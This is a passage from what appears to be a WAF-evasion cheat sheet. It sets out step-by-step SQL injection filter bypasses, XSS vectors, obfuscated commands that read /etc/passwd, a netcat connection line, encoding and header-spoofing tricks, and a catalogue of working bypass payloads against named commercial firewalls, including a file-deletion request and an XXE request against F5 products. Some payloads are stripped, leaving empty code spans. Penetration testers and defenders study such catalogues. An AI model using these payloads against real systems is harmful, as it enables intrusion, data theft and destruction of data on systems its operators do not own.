password from users`\n- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`\n\n##### • Step 2:\n__Keywords Filtered__: `and`, `or`, `union`, `where` \n- __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'`\n- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`\n\n##### • Step 3:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit` \n- __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'`\n- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`\n\n##### • Step 4:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by` \n- __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`\n- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`\n\n##### • Step 5:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select` \n- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`\n- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`\n- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`\n\n##### • Step 6:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'` \n- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`\n- __Bypassed Injection__: `1 || user_id is not null`\n- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`\n- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`\n\n##### • Step 7:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex` \n- __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)`\n- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`\n\n##### • Step 8:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr` \n- __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))`\n- __Bypassed Injection__: `1 || lpad(user,7,1)`\n\n##### • Step 9:\n__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space` \n- __Blocked Attempt__: `1 || lpad(user,7,1)`\n- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`\n\n### Obfuscation:\n#### Method:\n- Encoding payload to different encodings (a hit and trial approach).\n- You can encode whole payload, or some parts of it and test recursively.\n\n#### Techniques:\n__1. Case Toggling__\n- Some poorly developed WAFs filter selectively specific case WAFs.\n- We can combine upper and lower case characters for developing efficient payloads.\n\n__Standard__: `` \n__Bypassed__: ``\n\n__Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'` \n__Bypassed__: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`\n\n__2. URL Encoding__ \n- Encode normal payloads with % encoding/URL encoding.\n- Can be done with online tools like [this](https://www.url-encode-decode.com/).\n- Burp includes a in-built encoder/decoder.\n\n__Blocked__: `\"/oNloaD=confirm()//` \n__Bypassed__: `%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F`\n\n__Blocked__: `uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)` \n__Bypassed__: `uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29`\n\n__3. Unicode Normalization__ \n- ASCII characters in unicode encoding encoding provide great variants for bypassing.\n- You can encode entire/part of the payload for obtaining results.\n\n__Standard__: `` \n__Obfuscated__: ``\n\n__Blocked__: `/?redir=http://google.com` \n__Bypassed__: `/?redir=http://google。com` (Unicode alternative) \n\n__Blocked__: `x` \n__Bypassed__: `＜marquee loop＝1 onfinish＝alert︵1)>x` (Unicode alternative)\n> __TIP:__ Have a look at [this](https://hackerone.com/reports/231444) and [this](https://hackerone.com/reports/231389) reports on HackerOne. :)\n\n__Standard__: `../../etc/passwd` \n__Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd`\n\n__4. HTML Representation__\n- Often web apps encode special characters into HTML encoding and render them accordingly.\n- This leads us to basic bypass cases with HTML encoding (numeric/generic).\n\n__Standard__: `\">` \n__Encoded__: `"><img src=x onerror=confirm()>` (General form) \n__Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference)\n\n__5. Mixed Encoding__ \n- Sometimes, WAF rules often tend to filter out a specific type of encoding.\n- This type of filters can be bypassed by mixed encoding payloads.\n- Tabs and newlines further add to obfuscation.\n\n__Obfuscated__: \n```\nXSS\n```\n\n__6. Using Comments__\n- Comments obfuscate standard payload vectors. \n- Different payloads have different ways of obfuscation.\n\n__Blocked__: `` \n__Bypassed__: ``\n\n__Blocked__: `/?id=1+union+select+1,2,3--` \n__Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`\n\n__7. Double Encoding__\n- Often WAF filters tend to encode characters to prevent attacks.\n- However poorly developed filters (no recursion filters) can be bypassed with double encoding.\n\n__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\\` \n__Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\\`\n\n__Standard__: `` \n__Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E`\n\n__8. Wildcard Obfuscation__\n- Globbing patterns are used by various command-line utilities to work with multiple files.\n- We can tweak them to execute system commands.\n- Specific to remote code execution vulnerabilities on linux systems.\n\n__Standard__: `/bin/cat /etc/passwd` \n__Obfuscated__: `/???/??t /???/??ss??` \nUsed chars: `/ ? t s`\n\n__Standard__: `/bin/nc 127.0.0.1 1337` \n__Obfuscated__: `/???/n? 2130706433 1337` \nUsed chars: `/ ? n [0-9]`\n\n__9. Dynamic Payload Generation__\n- Different programming languages have different syntaxes and patterns for concatenation.\n- This allows us to effectively generate payloads that can bypass many filters and rules.\n\n__Standard__: `` \n__Obfuscated__: ``\n\n__Standard__: `/bin/cat /etc/passwd` \n__Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`\n> Bash allows path concatenation for execution.\n\n__Standard__: `` \n__Obfuscated__: \n```\n\n```\n\n__13. Token Breakers__\n- Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.\n- Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.\n- However, the request must still remain valid while using token-breakers.\n\n- __Case__: Unknown Token for the Tokenizer \n - __Payload__: `?id=‘-sqlite_version() UNION SELECT password FROM users --` \n\n- __Case__: Unknown Context for the Parser (Notice the uncontexted bracket) \n - __Payload 1__: `?id=123);DROP TABLE users --` \n - __Payload 2__: `?id=1337) INTO OUTFILE ‘xxx’ --` \n\n> __TIP:__ More payloads can be crafted via this [cheat sheet](https://github.com/attackercan/cpp-sql-fuzzer).\n\n__14. Obfuscation in Other Formats__ \n- Many web applications support different encoding types and can interpret the encoding (see below).\n- Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.\n\n__Case:__ IIS \n- IIS6, 7.5, 8 and 10 (ASPX v4.x) allow __IBM037__ character interpretations.\n- We can encode our payload and send the encoded parameters with the query.\n\nOriginal Request:\n```\nPOST /sample.aspx?id1=something HTTP/1.1\nHOST: victim.com\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\nContent-Length: 41\n\nid2='union all select * from users--\n```\nObfuscated Request + URL Encoding:\n```\nPOST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1\nHOST: victim.com\nContent-Type: application/x-www-form-urlencoded; charset=ibm037\nContent-Length: 115\n\n%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60\n```\n\nThe following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):\n> __TIP:__ You can use [this small python script](others/obfu.py) to convert your payloads and parameters to your desired encodings.\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
TargetEncodingsNotes
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273\n
    \n
  • Query string and body need to be encoded.
    • \n
  • Url-decoded parameters in query string and body.
    • \n
  • Equal sign and ampersand needed to be encoded as well (no url-encoding).
    • \n
\n
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424\n
    \n
  • Query string and body need to be encoded.
    • \n
  • Url-decoded parameters in query string and body afterwards.
    • \n
  • Equal sign and ampersand should not be encoded in any way.
    • \n
\n
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026,\n IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,\n IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,\n utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,\n IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,\n IBM424, IBM-Thai, IBM871, cp1025\n
    \n
  • Query string in its original format (could be url-encoded as usual).
    • \n
  • Body could be sent with/without url-encoding.
    • \n
  • Equal sign and ampersand should not be encoded in any way.
    • \n
\n
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026,\n IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,\n IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,\n utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,\n IBM280, IBM284, IBM285, IBM297, IBM420, IBM424,\n IBM-Thai, IBM871, cp1025\n
    \n
  • Query string in its original format (could be url-encoded as usual).
    • \n
  • Body could be sent with/without url-encoding.
    • \n
  • Equal sign and ampersand should not be encoded in any way.
    • \n
\n
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026,\n IBM01047, IBM01140, IBM01141, IBM01142, IBM01143,\n IBM01144, IBM01145, IBM01146, IBM01147, IBM01148,\n IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE,\n IBM273, IBM277, IBM278, IBM280, IBM284, IBM285,\n IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended,\n IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025\n
    \n
  • Query string in its original format (could be url-encoded as usual).
    • \n
  • Body could be sent with/without url-encoding.
    • \n
  • Equal sign and ampersand should not be encoded in any way.
    • \n
\n
\n\n### HTTP Parameter Pollution\n#### Method:\n- This attack method is based on how a server interprets parameters with the same names.\n- Possible bypass chances here are:\n - The server uses the last received parameter, and WAF checks only the first.\n - The server unites the value from similar parameters, and WAF checks them separately.\n\n#### Technique:\n- The idea is to enumerate how the parameters are being interpreted by the server.\n- In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.\n- Distributing a payload across parameters which can later get concatenated by the server is also useful.\n\nBelow is a comparison of different servers and their relative interpretations:\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
EnvironmentParameter InterpretationExample
ASP/IISConcatenation by commapar1=val1,val2
JSP, Servlet/Apache TomcatFirst parameter is resultingpar1=val1
ASP.NET/IISConcatenation by commapar1=val1,val2
PHP/ZeusLast parameter is resultingpar1=val2
PHP/ApacheLast parameter is resultingpar1=val2
JSP, Servlet/JettyFirst parameter is resultingpar1=val1
IBM Lotus DominoFirst parameter is resultingpar1=val1
IBM HTTP ServerLast parameter is resultingpar1=val2
mod_perl, libapeq2/ApacheFirst parameter is resultingpar1=val1
Oracle Application Server 10GFirst parameter is resultingpar1=val1
Perl CGI/ApacheFirst parameter is resultingpar1=val1
Python/ZopeFirst parameter is resultingpar1=val1
IceWarpAn array is returned['val1','val2']
AXIS 2400Last parameter is resultingpar1=val2
DBManConcatenation by two tildespar1=val1~~val2
mod-wsgi (Python)/ApacheAn array is returnedARRAY(0x8b9058c)
\n\n### HTTP Parameter Fragmentation\n- HPF is based on the principle where the server unites the value being passed along the parameters.\n- We can split the payload into different components and then pass the values via the parameters.\n\n__Sample Payload__: `1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS` \n__Sample Query URL__: `http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS`\n> __TIP:__ A real life example how bypasses can be crafted using this method can be found [here](http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2009-August/005673.html).\n\n### Browser Bugs:\n#### Charset Bugs:\n- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.\n- When the site decodes the string, the payload gets triggered.\n\nExample request:\n
\nGET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1\nHost: site.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0\nAccept-Charset:utf-32; q=0.5\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\n
\nWhen the site loads, it will be encoded to the UTF-32 encoding that we set, and\nthen as the output encoding of the page is UTF-8, it will be rendered as: `\"\n\n\n```\n- __Case:__ SQLi\n```\nSELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);\n1%0b||%0bLPAD(USER,7,1)\n```\nMany alternatives to the original JavaScript can be used, namely:\n- [JSFuck](http://www.jsfuck.com/)\n- [JJEncode](http://utf-8.jp/public/jjencode.html)\n- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)\n> However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)\n\n### Abusing SSL/TLS Ciphers:\n- Many a times, servers do accept connections from various SSL/TLS ciphers and versions.\n- Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.\n\n#### Technique:\n- Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).\n- Find out the ciphers supported by the server (tools like [SSLScan](https://github.com/rbsec/sslscan) helps here).\n- If a specific cipher not supported by WAF but by the server, is found, voila!\n- Initiating a new connection to the server with that specific cipher should smuggle our payload in.\n\n> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) \n```\npython abuse-ssl-bypass-waf.py -thread 4 -target \n```\nCLI tools like cURL can come very handy for PoCs:\n```\ncurl --ciphers -G -d \n```\n\n### Abuse WAF limit on HTTP Responses\n#### Method\n- Many a times, WAFs have a limit on _how much_ of the HTTP request they are meant to handle.\n- By sending a HTTP request with a size __greater than the limit__, we can fully evade WAFs.\n\n#### Technique\n- Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).\n- Once done, attach your payload to the request after filling the limit with garbage.\n\n> A similar technique was used to [bypass Google Cloud Platform WAF](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).\n\n### Abusing DNS History:\n- Often old historical DNS records provide information about the location of the site behind the WAF.\n- The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.\n> __TIP:__ Some online services like [IP History](http://www.iphistory.ch/en/) and [DNS Trails](https://securitytrails.com/dns-trails) come to the rescue during the recon process. \n\n__Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)\n```\nbash bypass-firewalls-by-DNS-history.sh -d --checkall\n```\n\n### Using Whitelist Strings:\n#### Method:\n- Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.\n- This shared secret, if leaked/known, can be used to bypass all protections within the WAF.\n\n#### Technique:\n- Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.\n- Usually some `*-sync-request` keywords or a shared token value is used as the secret.\n- Often adding specific headers may trigger a similar whitelist behaviour.\n\nNow when making a request to the server, you can append it as a parameter:\n```\nhttp://host.com/?randomparameter=&=True\n```\n> A real life example how this works can be found at [this blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/).\n\n### Request Header Spoofing:\n#### Method:\n- The target is to fool the WAF/server into believing it was from their internal network.\n- Adding some spoofed headers to represent the internal network, does the trick.\n\n#### Technique:\n- With each request some set of headers are to be added simultaneously thus spoofing the origin.\n- The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.\n\nSome common headers used:\n```\nX-Originating-IP: 127.0.0.1\nX-Forwarded-For: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nX-Remote-Addr: 127.0.0.1\nX-Client-IP: 127.0.0.1\n```\n\n### Google Dorks Approach:\n#### Method:\n- There are a lot of known bypasses of various web application firewalls ([see section](#known-bypasses)).\n- With the help of google dorks, we can easily find bypasses.\n\n#### Techniques: \nBefore anything else, you should hone up skills from [Google Dorks Cheat Sheet](http://pdf.textfiles.com/security/googlehackers.pdf).\n- Normal search: \n`+ waf bypass`\n\n- Searching for specific version exploits: \n`\" \" (bypass|exploit)`\n\n- For specific type bypass exploits: \n`\"\" + (bypass|exploit)`\n\n- On [Exploit DB](https://exploit-db.com): \n`site:exploit-db.com + bypass`\n\n- On [0Day Inject0r DB](https://0day.today): \n`site:0day.today + (bypass|exploit)`\n\n- On [Twitter](https://twitter.com): \n`site:twitter.com + bypass`\n\n- On [Pastebin](https://pastebin.com) \n`site:pastebin.com + bypass`\n\n## Known Bypasses:\n### Airlock Ergon\n- SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by [@Sec Consult](https://www.exploit-db.com/?author=1614)\n```\n%C0%80'+union+select+col1,col2,col3+from+table+--+\n```\n\n### AWS WAF\n- [SQLi Bypass](https://github.com/enkaskal/aws-waf-sqli-bypass-PoC) by [@enkaskal](https://twitter.com/enkaskal)\n```\n\"; select * from TARGET_TABLE --\n```\n- [XSS Bypass](https://github.com/kmkz/Pentesting/blob/master/Pentest-Cheat-Sheet#L285) by [@kmkz](https://twitter.com/kmkz_security)\n```\n: aa\nKeep-Alive: 300\n```\n- R-XSS Bypass by [@WAFNinja](https://waf.ninja)\n```\n\n\n\n```\n- XSS Bypass by [@0xInfection](https://twitter.com/0xinfection)\n```\n

alert\ndragme\nclick\n```\n- GET - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741)\n```\n/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E\n\n\n```\n- POST - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741)\n```\n\n```\n- `clave` XSS (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741)\n```\n/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ \n```\n\n### Fortinet Fortiweb\n- `pcre_expression` unvaidated XSS by [@Benjamin Mejri](https://www.exploit-db.com/?author=7854)\n```\n/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C\n/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 \n```\n- CSP Bypass by [@Binar10](https://www.exploit-db.com/exploits/18840)\n\nPOST Type Query\n```\nPOST //login-app.aspx HTTP/1.1\nHost: \nUser-Agent: \nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: \n\nvar1=datavar1&var2=datavar12&pad=\n```\nGET Type Query\n```\nhttp:///path?var1=vardata1&var2=vardata2&pad=\n```\n\n### F5 ASM \n- XSS Bypass by [@WAFNinja](https://waf.ninja)\n```\n
\n\"/>a\n```\n\n### F5 BIG-IP\n- XSS Bypass by [@WAFNinja](https://waf.ninja/)\n```\n\n

Right-Click Here\n\n
Right-Click Here\n```\n- XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan)\n```\n\n
Right-Click Here\n```\n- [`report_type` XSS](https://www.securityfocus.com/bid/27462/info) by [@NNPoster](https://www.exploit-db.com/?author=6654)\n```\nhttps://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+\n```\n- POST Based XXE by [@Anonymous](https://www.exploit-db.com/?author=2168)\n```\nPOST /sam/admin/vpe2/public/php/server.php HTTP/1.1\nHost: bigip\nCookie: BIGIPAuthCookie=*VALID_COOKIE*\nContent-Length: 143\n\n\n ]>\n&e;\n```\n- Directory Traversal by [@Anastasios Monachos](https://www.exploit-db.com/?author=2932)\n\nRead Arbitrary File\n```\n/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd\n```\nDelete Arbitrary File\n```\nPOST /tmui/Control/form HTTP/1.1\nHost: site.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=\"\"; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage=\"/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd\"; f5currenttab=\"main\"; f5mainmenuopenlist=\"\"; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd\nContent-Type: application/x-www-form-urlencoded\n\n_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete\n```\n\n### F5 FirePass\n- SQLi Bypass from [@Anonymous](https://www.exploit-db.com/?author=2168)\n```\nstate=%2527+and+\n(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+\nBENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ \n```\n\n### ModSecurity\n- [XSS Bypass for CRS 3.2](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic)\n```\n\n````\n- [RCE Payloads Detection Bypass for PL3](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1)\n```\n;+$u+cat+/etc$u/passwd$u\n```\n- [RCE Payloads Detection Bypass for PL2](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1)\n```\n;+$u+cat+/etc$u/passwd+\\#\n```\n- [RCE Payloads for PL1 and PL2](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0)\n```\n/???/??t+/???/??ss??\n```\n- [RCE Payloads for PL3](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0)\n```\n/?in/cat+/et?/passw?\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Johannes Dahse](https://twitter.com/#!/fluxreiners) (v2.2)\n```\n0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Yuri Goltsev](https://twitter.com/#!/ygoltsev) (v2.2)\n```\n1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Ahmad Maulana](http://twitter.com/#!/hmadrwx) (v2.2)\n```\n1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Travis Lee](http://twitter.com/#!/eelsivart) (v2.2)\n```\namUserId=1 union select username,password,3,4 from users\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Roberto Salgado](http://twitter.com/#!/lightos) (v2.2)\n```\n%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Georgi Geshev](http://twitter.com/#!/ggeshev) (v2.2)\n```\n1%0bAND(SELECT%0b1%20FROM%20mysql.x)\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@SQLMap Devs](http://sqlmap.sourceforge.net/#developers) (v2.2)\n```\n%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29\n```\n- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@HackPlayers](http://twitter.com/#!/hackplayers) (v2.2)\n```\n%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201\n```\n\n### Imperva\n- [XSS Bypass](https://twitter.com/smaury92/status/1422599636800450572) by [@smaury92](https://twitter.com/smaury92)\n```html\n\n```\n- [XSS Bypass](https://twitter.com/0xInfection/status/1420046446095519749) by [@0xInfection](https://twitter.com/0xInfection)\n```html\nclickme\n```\n- [XSS Bypass](https://twitter.com/0xInfection/status/1364622858090016777) by [@0xInfection](https://twitter.com/0xInfection)\n```html\nclick\n```\n- [XSS Bypass](https://twitter.com/0xInfection/status/1212331839743873026) by [@0xInfection](https://twitter.com/0xinfection)\n```html\npew\n```\n- [XSS Bypass](https://twitter.com/_ugurercan/status/1188406765735632896) by [@ugurercan](https://twitter.com/_ugurercan)\n```html\n
\n```\n- [Imperva SecureSphere 13 - Remote Command Execution](https://www.exploit-db.com/exploits/45542) by [@rsp3ar](https://www.exploit-db.com/?author=9396)\n- XSS Bypass by [@David Y](https://twitter.com/daveysec)\n```\n\n```\n- XSS Bypass by [@Emad Shanab](https://twitter.com/alra3ees)\n```\n\nanythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz\n```\n- XSS Bypass by [@WAFNinja](https://waf.ninja)\n```\n%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E\n```\n- XSS Bypass by [@i_bo0om](https://twitter.com/i_bo0om)\n```\n\n```\n- XSS Bypass by [@c0d3g33k](https://twitter.com/c0d3g33k)\n```\n\n```\n- SQLi Bypass by [@DRK1WI](https://www.exploit-db.com/?author=7740)\n```\n15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'\n```\n- SQLi by [@Giuseppe D'Amore](https://www.exploit-db.com/?author=6413)\n```\nstringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1\n```\n- [Imperva SecureSphere <= v13 - Privilege Escalation](https://www.exploit-db.com/exploits/45130) by [@0x09AL](https://www.exploit-db.com/?author=8991)\n\n### Kona SiteDefender\n- [XSS Bypass](https://twitter.com/XSaadAhmedX/status/1482398313227948034) by [@SaadAhmed](https://twitter.com/XSaadAhmedX)\n```\n%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E\n```\n- [XSS Bypass](https://twitter.com/h1_kenan/status/1185826172308983808) by [@h1_kenan](https://twitter.com/h1_kenan)\n```\nasd\"on+<>+onpointerenter%3d\"x%3dconfirm,x(cookie)\n```\n - [HTML Injection](https://hackerone.com/reports/263226) by 